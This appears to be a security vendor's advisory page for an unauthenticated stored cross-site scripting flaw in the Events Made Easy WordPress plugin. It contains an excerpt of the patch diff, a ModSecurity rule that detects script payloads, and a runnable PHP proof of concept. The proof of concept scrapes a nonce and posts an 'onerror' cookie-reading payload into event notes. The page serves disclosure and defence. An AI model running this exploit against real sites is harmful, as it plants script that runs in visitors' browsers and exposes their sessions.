+                $value = eme_kses_request_maybe_unfiltered( $value );
                 // for multivalue fields like checkbox, the value is in fact an array
                 // to store it, we make it a simple "multi" string using eme_convert_array2multi, so later on when we need to parse the values
                 // (when editing), we can re-convert it to an array with eme_convert_multi2array (see eme_formfields.php)
--- a/events-made-easy/includes/eme-options.php
+++ b/events-made-easy/includes/eme-options.php
@@ -1308,7 +1308,7 @@
             } elseif (in_array($key, $maybe_unfiltered)) {
                 $output[$key] = eme_kses_maybe_unfiltered($value);
             } else {
-                $output[$key] = eme_kses($value);
+                $output[$key] = eme_kses($value); // unslash already done, no need to do it again
             }
             if (array_key_exists($key,$numeric_options) && ! is_numeric( $output[$key] ) ) {
                 $output[$key] = $numeric_options[$key];
--- a/events-made-easy/includes/eme-payments.php
+++ b/events-made-easy/includes/eme-payments.php
@@ -706,12 +706,8 @@
         return;
     }

-    $price             = eme_payment_gateway_total( $baseprice, $cur, $gateway );
-    $events_page_link  = eme_get_events_page();
-    $payment_id        = $payment['id'];
-    $success_link      = eme_payment_return_url( $payment, 0 );
-    $fail_link         = eme_payment_return_url( $payment, 1 );
-    $notification_link = add_query_arg( [ 'eme_eventAction' => "{$gateway}_notification" ], $events_page_link );
+    $price      = eme_payment_gateway_total( $baseprice, $cur, $gateway );
+    $payment_id = $payment['id'];

     $description = eme_get_payment_desc( $item_name, $payment, $gateway, $multi_booking );

@@ -727,27 +723,21 @@
     $button_below   = get_option( 'eme_' . $gateway . '_button_below' );
     $button_img_url = get_option( 'eme_' . $gateway . '_button_img_url' );

-    require_once EME_PLUGIN_DIR . 'payment_gateways/webmoney/webmoney.inc.php';
-    $wm_request                 = new WM_Request();
-    $wm_request->payment_amount = $price;
-    $wm_request->payment_desc   = $description;
-    $wm_request->payment_no     = $payment_id;
-    $wm_request->payee_purse    = $eme_webmoney_purse;
-    $wm_request->success_method = WM_POST;
-    $wm_request->result_url     = $notification_link;
-    $wm_request->success_url    = $success_link;
-    $wm_request->fail_url       = $fail_link;
-    if ( get_option( 'eme_webmoney_demo' ) ) {
-        $wm_request->sim_mode = WM_ALL_SUCCESS;
-    }
-    $wm_request->btn_label = $button_label;
-    $wm_request->form_id   = 'eme_webmoney_form';
+    $form_html  = $button_above;
+    $form_html .= "<form action='' method='post' name='eme_{$gateway}_form' id='eme_{$gateway}_form'>
+   <input type='hidden' name='payment_id' value='$payment_id'>
+   <input type='hidden' name='eme_eventAction' value='{$gateway}_charge'>
+   <input type='hidden' name='description' value='$description'>
+   <input type='hidden' name='price' value='$price'>
+   <input type='hidden' name='cur' value='$cur'>
+   ";
     if ( ! empty( $button_img_url ) ) {
-        $wm_request->btn_img_url = $button_img_url;
+        $form_html .= "<input type='image' src='$button_img_url' alt='$button_label' title='$button_label' class='button-primary eme_submit_button'><br>";
+    } else {
+        $form_html .= "<input type='submit' value='$button_label' class='button-primary eme_submit_button'><br>";
     }
-
-    $form_html  = $button_above;
-    $form_html .= $wm_request->SetForm( false );
+    $form_html .= wp_nonce_field( "eme_{$gateway}_{$payment_id}_{$price}_{$cur}", "eme_{$gateway}_nonce", false, false );
+    $form_html .= '</form>';
     $form_html .= $button_below;
     return $form_html;
 }
@@ -760,22 +750,11 @@
         return;
     }

-    $price            = eme_payment_gateway_total( $baseprice, $cur, $gateway );
-    $events_page_link = eme_get_events_page();
-    $payment_id       = $payment['id'];
-    // $success_link = eme_payment_return_url($payment,0);
-    // $fail_link = eme_payment_return_url($payment,1);
-    $notification_link = add_query_arg( [ 'eme_eventAction' => "{$gateway}_notification" ], $events_page_link );
+    $price      = eme_payment_gateway_total( $baseprice, $cur, $gateway );
+    $payment_id = $payment['id'];

     $description = eme_get_payment_desc( $item_name, $payment, $gateway, $multi_booking );

-    if ( get_option( 'eme_worldpay_demo' ) == 1 ) {
-        $url = 'https://secure-test.worldpay.com/wcc/purchase';
-    } else {
-        $url = 'https://secure.worldpay.com/wcc/purchase';
-    }
-    $quantity = 1;
-
     $description = esc_html( $description );

     $button_above = get_option( 'eme_' . $gateway . '_button_above' );
@@ -788,31 +767,19 @@
     $button_img_url = get_option( 'eme_' . $gateway . '_button_img_url' );

     $form_html  = $button_above;
-    $form_html .= "<form action='$url' method='post' name='eme_worldpay_form' id='eme_worldpay_form'>";
-    $form_html .= "<input type='hidden' name='instId' value='$worldpay_instid'>";
-    $form_html .= "<input type='hidden' name='cartId' value='$payment_id'>";
-    $form_html .= "<input type='hidden' name='desc' value='$description'>";
-    $form_html .= "<input type='hidden' name='amount' value='$price'>";
-    $form_html .= "<input type='hidden' name='currency' value='$cur'>";
-    // for worldpay notifications to work: enable dynamic payment response in your worldpay setup, using the param MC_callback
-    // also: set the Payment Response password and if wanted, the MD5 secret and field combo
-    $form_html .= "<input type='hidden' name='MC_callback' value='" . esc_url( $notification_link ) . "'>";
-
-    if ( $worldpay_md5_secret ) {
-        require_once EME_PLUGIN_DIR . 'payment_gateways/worldpay/eme-worldpay.php';
-        $params_arr = explode( ':', get_option( 'eme_worldpay_md5_parameters' ) );
-        $signature  = eme_generate_worldpay_signature( $worldpay_md5_secret, $params_arr, $worldpay_instid, $payment_id, $cur, $price );
-        $form_html .= "<input type='hidden' name='signature' value='$signature'>";
-    }
-
+    $form_html .= "<form action='' method='post' name='eme_{$gateway}_form' id='eme_{$gateway}_form'>
+   <input type='hidden' name='payment_id' value='$payment_id'>
+   <input type='hidden' name='eme_eventAction' value='{$gateway}_charge'>
+   <input type='hidden' name='description' value='$description'>
+   <input type='hidden' name='price' value='$price'>
+   <input type='hidden' name='cur' value='$cur'>
+   ";
     if ( ! empty( $button_img_url ) ) {
-        $form_html .= "<input type='image' alt='$button_label' title='$button_label' src='$button_img_url' class='button-primary eme_submit_button'><br>";
+        $form_html .= "<input type='image' src='$button_img_url' alt='$button_label' title='$button_label' class='button-primary eme_submit_button'><br>";
     } else {
         $form_html .= "<input type='submit' value='$button_label' class='button-primary eme_submit_button'><br>";
     }
-    if ( get_option( 'eme_worldpay_demo' ) == 1 ) {
-        $form_html .= "<input type='hidden' name='testMode' value='100'>";
-    }
+    $form_html .= wp_nonce_field( "eme_{$gateway}_{$payment_id}_{$price}_{$cur}", "eme_{$gateway}_nonce", false, false );
     $form_html .= '</form>';
     $form_html .= $button_below;
     return $form_html;
@@ -825,28 +792,11 @@
         return;
     }

-    $price            = eme_payment_gateway_total( $baseprice, $cur, $gateway );
-    $events_page_link = eme_get_events_page();
-    $payment_id       = $payment['id'];
-    $success_link     = eme_payment_return_url( $payment, 0 );
-    $fail_link        = eme_payment_return_url( $payment, 1 );
-    // opayo doesn't use a notification url, but sends the status along as part of the return url
-    // so we add the notification info to it too, so we can process paid info as usual
-    $success_link = add_query_arg( [ 'eme_eventAction' => "{$gateway}_notification" ], $success_link );
-    $fail_link    = add_query_arg( [ 'eme_eventAction' => "{$gateway}_notification" ], $fail_link );
+    $price      = eme_payment_gateway_total( $baseprice, $cur, $gateway );
+    $payment_id = $payment['id'];

     $description = eme_get_payment_desc( $item_name, $payment, $gateway, $multi_booking );

-    // the live or sandbox url
-    $opayo_demo = get_option( 'eme_opayo_demo' );
-    if ( $opayo_demo == 1 ) {
-        $opayo_pwd = get_option( 'eme_opayo_test_pwd' );
-        $url       = 'https://test.sagepay.com/gateway/service/vspform-register.vsp';
-    } else {
-        $opayo_pwd = get_option( 'eme_opayo_live_pwd' );
-        $url       = 'https://live.sagepay.com/gateway/service/vspform-register.vsp';
-    }
-
     $button_above = get_option( 'eme_' . $gateway . '_button_above' );
     $button_label = get_option( 'eme_' . $gateway . '_button_label' );
     if ( empty( $button_label ) ) {
@@ -856,62 +806,20 @@
     $button_below   = get_option( 'eme_' . $gateway . '_button_below' );
     $button_img_url = get_option( 'eme_' . $gateway . '_button_img_url' );

-    $person = [];
-    if ( $payment['target'] == 'member' ) {
-        $member = eme_get_member_by_paymentid( $payment_id );
-        if ( $member ) {
-            $person = eme_get_person( $member['person_id'] );
-        }
-    } elseif ( $payment['target'] == 'fs_event' ) {
-        $person = eme_new_person();
-    } else {
-        $booking_ids = eme_get_payment_booking_ids( $payment_id );
-        if ( $booking_ids ) {
-            $booking = eme_get_booking( $booking_ids[0] );
-            $person  = eme_get_person( $booking['person_id'] );
-        }
-    }
-    if ( empty( $person ) ) {
-        $person = eme_new_person();
-    }
-
-    $query = [
-        'VendorTxCode'       => $payment_id,
-        'Amount'             => number_format( $price, 2, '.', '' ),
-        'Currency'           => $cur,
-        'Description'        => $description,
-        'SuccessURL'         => $success_link,
-        'FailureURL'         => $fail_link,
-        'BillingSurname'     => $person['lastname'],
-        'BillingFirstnames'  => $person['firstname'],
-        'BillingAddress1'    => $person['address1'],
-        'BillingCity'        => $person['city'],
-        'BillingPostCode'    => $person['zip'],
-        'BillingState'       => $person['state_code'],
-        'BillingCountry'     => $person['country_code'],
-        'DeliverySurname'    => $person['lastname'],
-        'DeliveryFirstnames' => $person['firstname'],
-        'DeliveryAddress1'   => $person['address1'],
-        'DeliveryCity'       => $person['city'],
-        'DeliveryPostCode'   => $person['zip'],
-        'DeliveryState'      => $person['state_code'],
-        'DeliveryCountry'    => $person['country_code'],
-    ];
-
-    require_once EME_PLUGIN_DIR . 'payment_gateways/opayo/eme-opayo-util.php';
-    $crypt = SagepayUtil::encryptAes( SagepayUtil::arrayToQueryString( $query ), $opayo_pwd );
-
     $form_html  = $button_above;
-    $form_html .= "<form action='$url' method='post' name='eme_opayo_form' id='eme_opayo_form'>";
-    $form_html .= "<input type='hidden' name='VPSProtocol' value='3.00'>";
-    $form_html .= "<input type='hidden' name='TxType' value='PAYMENT'>";
-    $form_html .= "<input type='hidden' name='Vendor' value='$vendor_name'>";
-    $form_html .= "<input type='hidden' name='Crypt' value='$crypt'>";
+    $form_html .= "<form action='' method='post' name='eme_{$gateway}_form' id='eme_{$gateway}_form'>
+   <input type='hidden' name='payment_id' value='$payment_id'>
+   <input type='hidden' name='eme_eventAction' value='{$gateway}_charge'>
+   <input type='hidden' name='description' value='$description'>
+   <input type='hidden' name='price' value='$price'>
+   <input type='hidden' name='cur' value='$cur'>
+   ";
     if ( ! empty( $button_img_url ) ) {
         $form_html .= "<input type='image' src='$button_img_url' alt='$button_label' title='$button_label' class='button-primary eme_submit_button'><br>";
     } else {
         $form_html .= "<input type='submit' value='$button_label' class='button-primary eme_submit_button'><br>";
     }
+    $form_html .= wp_nonce_field( "eme_{$gateway}_{$payment_id}_{$price}_{$cur}", "eme_{$gateway}_nonce", false, false );
     $form_html .= '</form>';
     $form_html .= $button_below;
     return $form_html;
@@ -1174,36 +1082,19 @@
 }

 function eme_payment_form_fdgg( $item_name, $payment, $baseprice, $cur, $multi_booking = 0 ) {
-    $gateway       = 'fdgg';
-    $store_name    = get_option( 'eme_fdgg_store_name' );
-    $shared_secret = get_option( 'eme_fdgg_shared_secret' );
+    $gateway    = 'fdgg';
+    $store_name = get_option( 'eme_fdgg_store_name' );
     if ( ! $store_name ) {
         return;
     }

-    $price            = eme_payment_gateway_total( $baseprice, $cur, $gateway );
-    $events_page_link = eme_get_events_page();
-    $payment_id       = $payment['id'];
-    $success_link     = eme_payment_return_url( $payment, 0 );
-    $fail_link        = eme_payment_return_url( $payment, 1 );
+    $price      = eme_payment_gateway_total( $baseprice, $cur, $gateway );
+    $payment_id = $payment['id'];

     // we add the next lines to be conform with the others, but fdgg ignores the description
     $description = eme_get_payment_desc( $item_name, $payment, $gateway, $multi_booking );
     $description = esc_html( $description );

-    // the live or sandbox url
-    $mode = get_option( 'eme_fdgg_url' );
-    if ( preg_match( '/sandbox|merchanttest/', $mode ) ) {
-            $url = 'https://connect.merchanttest.firstdataglobalgateway.com/IPGConnect/gateway/processing';
-    } else {
-            $url = 'https://connect.firstdataglobalgateway.com/IPGConnect/gateway/processing';
-    }
-
-    $quantity  = 1;
-    $datetime  = eme_localized_date( $payment['creation_date'], EME_TIMEZONE, 'Y:m:d-H:i:s' );
-    $cur_codes = eme_currency_codes();
-    $cur_code  = $cur_codes[ $cur ];
-
     $button_above = get_option( 'eme_' . $gateway . '_button_above' );
     $button_label = get_option( 'eme_' . $gateway . '_button_label' );
     if ( empty( $button_label ) ) {
@@ -1213,31 +1104,20 @@
     $button_below   = get_option( 'eme_' . $gateway . '_button_below' );
     $button_img_url = get_option( 'eme_' . $gateway . '_button_img_url' );

-    require_once EME_PLUGIN_DIR . 'payment_gateways/fdgg/fdgg-util_sha2.php';
-    $hash       = fdgg_createHash( $store_name . $datetime . $price . $cur_code . $shared_secret );
     $form_html  = $button_above;
-    $form_html .= "<form action='$url' method='post' name='eme_fdgg_form' id='eme_fdgg_form'>";
-    $form_html .= "<input type='hidden' name='timezone' value='EME_TIMEZONE'>";
-    $form_html .= "<input type='hidden' name='authenticateTransaction' value='false'>";
-    $form_html .= "<input type='hidden' name='txntype' value='sale'>";
-    $form_html .= "<input type='hidden' name='mode' value='payonly'>";
-    $form_html .= "<input type='hidden' name='trxOrigin' value='ECI'>";
-    $form_html .= "<input type='hidden' name='txndatetime' value='$datetime'>";
-    $form_html .= "<input type='hidden' name='hash_algorithm' value='SHA512'>";
-    $form_html .= "<input type='hidden' name='hash' value='$hash'>";
-    $form_html .= "<input type='hidden' name='storename' value='$store_name'>";
-    $form_html .= "<input type='hidden' name='chargetotal' value='$price'>";
-    $form_html .= "<input type='hidden' name='subtotal' value='$price'>";
-    $form_html .= "<input type='hidden' name='invoicenumber' value='$payment_id'>";
-    $form_html .= "<input type='hidden' name='oid' value='$payment_id'>";
-    $form_html .= "<input type='hidden' name='responseSuccessURL' value='$success_link'>";
-    $form_html .= "<input type='hidden' name='responseFailURL' value='$fail_link'>";
-    $form_html .= "<input type='hidden' name='eme_eventAction' value='{$gateway}_notification'>";
+    $form_html .= "<form action='' method='post' name='eme_{$gateway}_form' id='eme_{$gateway}_form'>
+   <input type='hidden' name='payment_id' value='$payment_id'>
+   <input type='hidden' name='eme_eventAction' value='{$gateway}_charge'>
+   <input type='hidden' name='description' value='$description'>
+   <input type='hidden' name='price' value='$price'>
+   <input type='hidden' name='cur' value='$cur'>
+   ";
     if ( ! empty( $button_img_url ) ) {
         $form_html .= "<input type='image' src='$button_img_url' alt='$button_label' title='$button_label' class='button-primary eme_submit_button'><br>";
     } else {
         $form_html .= "<input type='submit' value='$button_label' class='button-primary eme_submit_button'><br>";
     }
+    $form_html .= wp_nonce_field( "eme_{$gateway}_{$payment_id}_{$price}_{$cur}", "eme_{$gateway}_nonce", false, false );
     $form_html .= '</form>';
     $form_html .= $button_below;
     return $form_html;
@@ -1432,13 +1312,8 @@
         return;
     }

-    $quantity          = 1;
-    $price             = eme_payment_gateway_total( $baseprice, $cur, $gateway );
-    $events_page_link  = eme_get_events_page();
-    $payment_id        = $payment['id'];
-    $success_link      = eme_payment_return_url( $payment, 0 );
-    $cancel_link       = eme_payment_url( $payment );
-    $notification_link = add_query_arg( [ 'eme_eventAction' => "{$gateway}_notification" ], $events_page_link );
+    $price      = eme_payment_gateway_total( $baseprice, $cur, $gateway );
+    $payment_id = $payment['id'];

     $description = eme_get_payment_desc( $item_name, $payment, $gateway, $multi_booking );

@@ -1453,54 +1328,21 @@
     $button_below   = get_option( 'eme_' . $gateway . '_button_below' );
     $button_img_url = get_option( 'eme_' . $gateway . '_button_img_url' );

-    require_once EME_PLUGIN_DIR . 'payment_gateways/paypal_legacy/Paypal.php';
-    $p = new Paypal();
-
-    // the paypal or paypal sandbox url
-    $mode = get_option( 'eme_legacypaypal_url' );
-    if ( preg_match( '/sandbox/', $mode ) ) {
-            $p->paypal_url = 'https://www.sandbox.paypal.com/cgi-bin/webscr';
-    } else {
-            $p->paypal_url = 'https://www.paypal.com/cgi-bin/webscr';
-    }
-
-    // the timeout in seconds before the button form is submitted to paypal
-    // this needs the included addevent javascript function
-    // 0 = no delay
-    // false = disable auto submission
-    $p->timeout = false;
-
-    // the button label
-    // false to disable button (if you want to rely only on the javascript auto-submission) not recommended
-    $p->form_id = 'eme_legacypaypal_form';
-    $p->button  = $button_label;
+    $form_html  = $button_above;
+    $form_html .= "<form action='' method='post' name='eme_{$gateway}_form' id='eme_{$gateway}_form'>
+   <input type='hidden' name='payment_id' value='$payment_id'>
+   <input type='hidden' name='eme_eventAction' value='{$gateway}_charge'>
+   <input type='hidden' name='description' value='$description'>
+   <input type='hidden' name='price' value='$price'>
+   <input type='hidden' name='cur' value='$cur'>
+   ";
     if ( ! empty( $button_img_url ) ) {
-        $p->button_img_url = $button_img_url;
-    }
-
-    // no encryption, use the new paypal for that
-    $p->encrypt = false;
-
-    // the actual button parameters
-    // https://www.paypal.com/IntegrationCenter/ic_std-variable-reference.html
-    $p->add_field( 'charset', 'utf-8' );
-    $p->add_field( 'business', $eme_paypal_business );
-    $p->add_field( 'return', $success_link );
-    $p->add_field( 'cancel_return', $cancel_link );
-    $p->add_field( 'notify_url', $notification_link );
-    $p->add_field( 'item_name', $description );
-    $p->add_field( 'item_number', $payment_id );
-    $p->add_field( 'custom', $payment_id );
-    $p->add_field( 'currency_code', $cur );
-    $p->add_field( 'amount', $price );
-    $p->add_field( 'quantity', $quantity );
-    $p->add_field( 'no_shipping', 1 );
-    if ( get_option( 'eme_legacypaypal_no_tax' ) ) {
-        $p->add_field( 'tax', 0 );
+        $form_html .= "<input type='image' src='$button_img_url' alt='$button_label' title='$button_label' class='button-primary eme_submit_button'><br>";
+    } else {
+        $form_html .= "<input type='submit' value='$button_label' class='button-primary eme_submit_button'><br>";
     }
-
-    $form_html  = $button_above;
-    $form_html .= $p->get_button();
+    $form_html .= wp_nonce_field( "eme_{$gateway}_{$payment_id}_{$price}_{$cur}", "eme_{$gateway}_nonce", false, false );
+    $form_html .= '</form>';
     $form_html .= $button_below;
     return $form_html;
 }
@@ -1664,7 +1506,7 @@
     try {
         $response = $api->paymentRequestPaymentStatus( $instamojo_requestid, $instamojo_paymentid );
         if ( $response['payment']['status'] == 'Credit' ) {
-            $expected_price = eme_get_payment_price( $payment['id'] );
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
             $amount_paid = floatval( $response['payment']['amount'] );
             if ( $amount_paid < $expected_price - 0.01 ) {
                 error_log( "EME instamojo completion price mismatch for payment {$payment['id']}: paid $amount_paid, expected $expected_price" );
@@ -1692,7 +1534,7 @@
         return false;
     }
     if ( $checkout->status == 'PAID' ) {
-            $expected_price = eme_get_payment_price( $payment['id'] );
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
             $amount_paid = floatval( $checkout->amount );
             if ( $amount_paid < $expected_price - 0.01 ) {
                 error_log( "EME sumup completion price mismatch for payment {$payment['id']}: paid $amount_paid, expected $expected_price" );
@@ -1721,9 +1563,9 @@
             return false;
         }
         if ( $stripe_pi->status == 'succeeded' ) {
-            $expected_price = eme_get_payment_price( $payment_id );
-            $amount_paid = $stripe_session->amount_total / 100;
-            if ( $amount_paid < $expected_price - 0.01 ) {
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment_id ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
+            $amount_paid = $stripe_session->amount_total;
+            if ( $amount_paid < $expected_price - 1 ) {
                 error_log( "EME stripe completion price mismatch for payment $payment_id: paid $amount_paid, expected $expected_price" );
             }
             // we store the payment intent id, so we can refund later
@@ -1745,7 +1587,7 @@
         $response = $client->capture_order( $paypal_orderid );
         if ( $response['status'] === 'COMPLETED' ) {
             $capture_id = $response['purchase_units'][0]['payments']['captures'][0]['id'] ?? $paypal_orderid;
-            $expected_price = eme_get_payment_price( $payment['id'] );
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), 'paypal' );
             $amount_paid = floatval( $response['purchase_units'][0]['payments']['captures'][0]['amount']['value'] );
             if ( $amount_paid < $expected_price - 0.01 ) {
                 error_log( "EME paypal completion price mismatch for payment {$payment['id']}: paid $amount_paid, expected $expected_price" );
@@ -1830,9 +1672,9 @@
     $order       = $orderStatus->getData();

     if ( $order['order_status'] == 'approved' ) {
-        $expected_price = eme_get_payment_price( $payment['id'] );
-        $amount_paid = $order['amount'] / 100;
-        if ( $amount_paid < $expected_price - 0.01 ) {
+        $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
+        $amount_paid = $order['amount'];
+        if ( $amount_paid < $expected_price - 1 ) {
             error_log( "EME fondy completion price mismatch for payment {$payment['id']}: paid $amount_paid, expected $expected_price" );
         }
         eme_mark_payment_paid( $payment['id'], 1, $gateway, $order_id );
@@ -1869,7 +1711,7 @@
     $mac_calculated = hash_hmac( 'sha1', implode( '|', $data ), $instamojo_salt );
     if ( $mac_provided == $mac_calculated ) {
         if ( $data['status'] == 'Credit' ) {
-            $expected_price = eme_get_payment_price( $payment['id'] );
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
             $instamojo_amount = floatval( $data['amount'] );
             if ( $instamojo_amount < $expected_price - 0.01 ) {
                 error_log( "EME instamojo notification price mismatch for payment {$payment['id']}: paid $instamojo_amount, expected $expected_price" );
@@ -1927,8 +1769,8 @@
             }

             // If the payment's transaction amount is equal (or bigger) than the merchant_order's amount you can release your items
-            $eme_price = eme_get_payment_price( $payment_id );
-            if ( $paid_amount >= $merchant_order->total_amount && $paid_amount >= $eme_price ) {
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment_id ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
+            if ( $paid_amount >= $merchant_order->total_amount && $paid_amount >= $expected_price ) {
                 eme_mark_payment_paid( $payment_id, 1, $gateway, $mercadopago_paymentid );
                 http_response_code( 200 );
             } else {
@@ -1952,8 +1794,8 @@
                 http_response_code( 400 );
                 return;
             }
-            $eme_price = eme_get_payment_price( $payment_id );
-            if ( $paid_amount >= $eme_price ) {
+            $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment_id ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
+            if ( $paid_amount >= $expected_price ) {
                 eme_mark_payment_paid( $payment_id, 1, $gateway, $mercadopago_paymentid );
                 http_response_code( 200 );
             } else {
@@ -2026,7 +1868,7 @@
             return;
         }
         // Verify amount meets expectation
-        $expected_price  = eme_get_payment_price( $payment_id );
+        $expected_price  = eme_payment_gateway_total( eme_get_payment_price( $payment_id ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
         $received_amount = floatval( $ipn->ipn['mc_gross'] );
         if ( $received_amount < $expected_price - 0.01 ) {
             error_log( "EME paypal notification price mismatch for payment $payment_id: paid $received_amount, expected $expected_price" );
@@ -2049,7 +1891,9 @@
             die( 'Not the webmoney purse it should be ...' );
         }
         $payment_id = intval( $wm_notif->payment_no );
-        $expected_price = eme_get_payment_price( $payment_id );
+        $payment = eme_get_payment( $payment_id );
+        $cur = ( is_array( $payment ) && ! empty( $payment['currency'] ) ) ? $payment['currency'] : get_option( 'eme_default_currency' );
+        $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment_id ), $cur, $gateway );
         if ( $amount < $expected_price - 0.01 ) {
             error_log( "EME webmoney notification price mismatch for payment $payment_id: paid $amount, expected $expected_price" );
         }
@@ -2118,9 +1962,9 @@
         wp_die( esc_html__( 'Hash Incorrect', 'events-made-easy' ) );
     }

-    $expected_price = eme_get_payment_price( $payment_id );
+    $expected_price = eme_payment_gateway_total( eme_get_payment_price( $payment['id'] ), ! empty( $payment['currency'] ) ? $payment['currency'] : get_option( 'eme_default_currency' ), $gateway );
     if ( $charge_total < $expected_price - 0.01 ) {
-        error_log( "EME mercadopago notification price mismatch for payment $payment_id: paid $charge_total, expe

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-127112
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:127112,phase:2,deny,status:403,chain,msg:'CVE-2026-127112 via Events Made Easy AJAX',severity:'CRITICAL',tag:'CVE-2026-127112'"
  SecRule ARGS_POST:action "@streq eme_frontend_submit" "chain"
    SecRule ARGS_POST:event[event_notes] "@rx <script|onerror|onload|onmouseover|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-127112 - Events Made Easy <= 3.3.8 - Unauthenticated Stored Cross-Site Scripting via 'event[event_notes]' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site
$nonce = ''; // Leave empty to auto-extract from page

// Step 1: Fetch the target page to obtain a valid nonce and any necessary cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/events/'); // Assuming the events page is at /events/
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false || $http_code != 200) {
    die("Failed to fetch the events page.n");
}

// Step 2: Extract nonce from the page (adjust regex based on actual page structure)
// Common patterns: <input type="hidden" name="eme_nonce" value="abc123"> or var eme_nonce = 'abc123';
if (preg_match('/name="eme_nonce" value="([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/vars+eme_nonces*=s*'([^']+)'/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die("Could not extract nonce. Please set it manually.n");
}

echo "Extracted nonce: $noncen";

// Step 3: Prepare the XSS payload in event[event_notes]
$payload = '<img src=x onerror=alert(document.cookie)>';

// Step 4: Submit the event form with malicious payload
$post_data = [
    'action' => 'eme_frontend_submit', // Adjust based on actual form action
    'eme_nonce' => $nonce,
    'event[event_name]' => 'Test Event',
    'event[event_start]' => date('Y-m-d'),
    'event[event_end]' => date('Y-m-d'),
    'event[event_notes]' => $payload,
    'content' => $payload, // Also try 'content' as per diff
    'event[event_single_event_format]' => '',
    // Add other required fields as needed
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/events/'); // Submit to same page
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 || $http_code == 302) {
    echo "Payload submitted successfully. Check the event page for XSS execution.n";
} else {
    echo "Submission may have failed. HTTP code: $http_coden";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.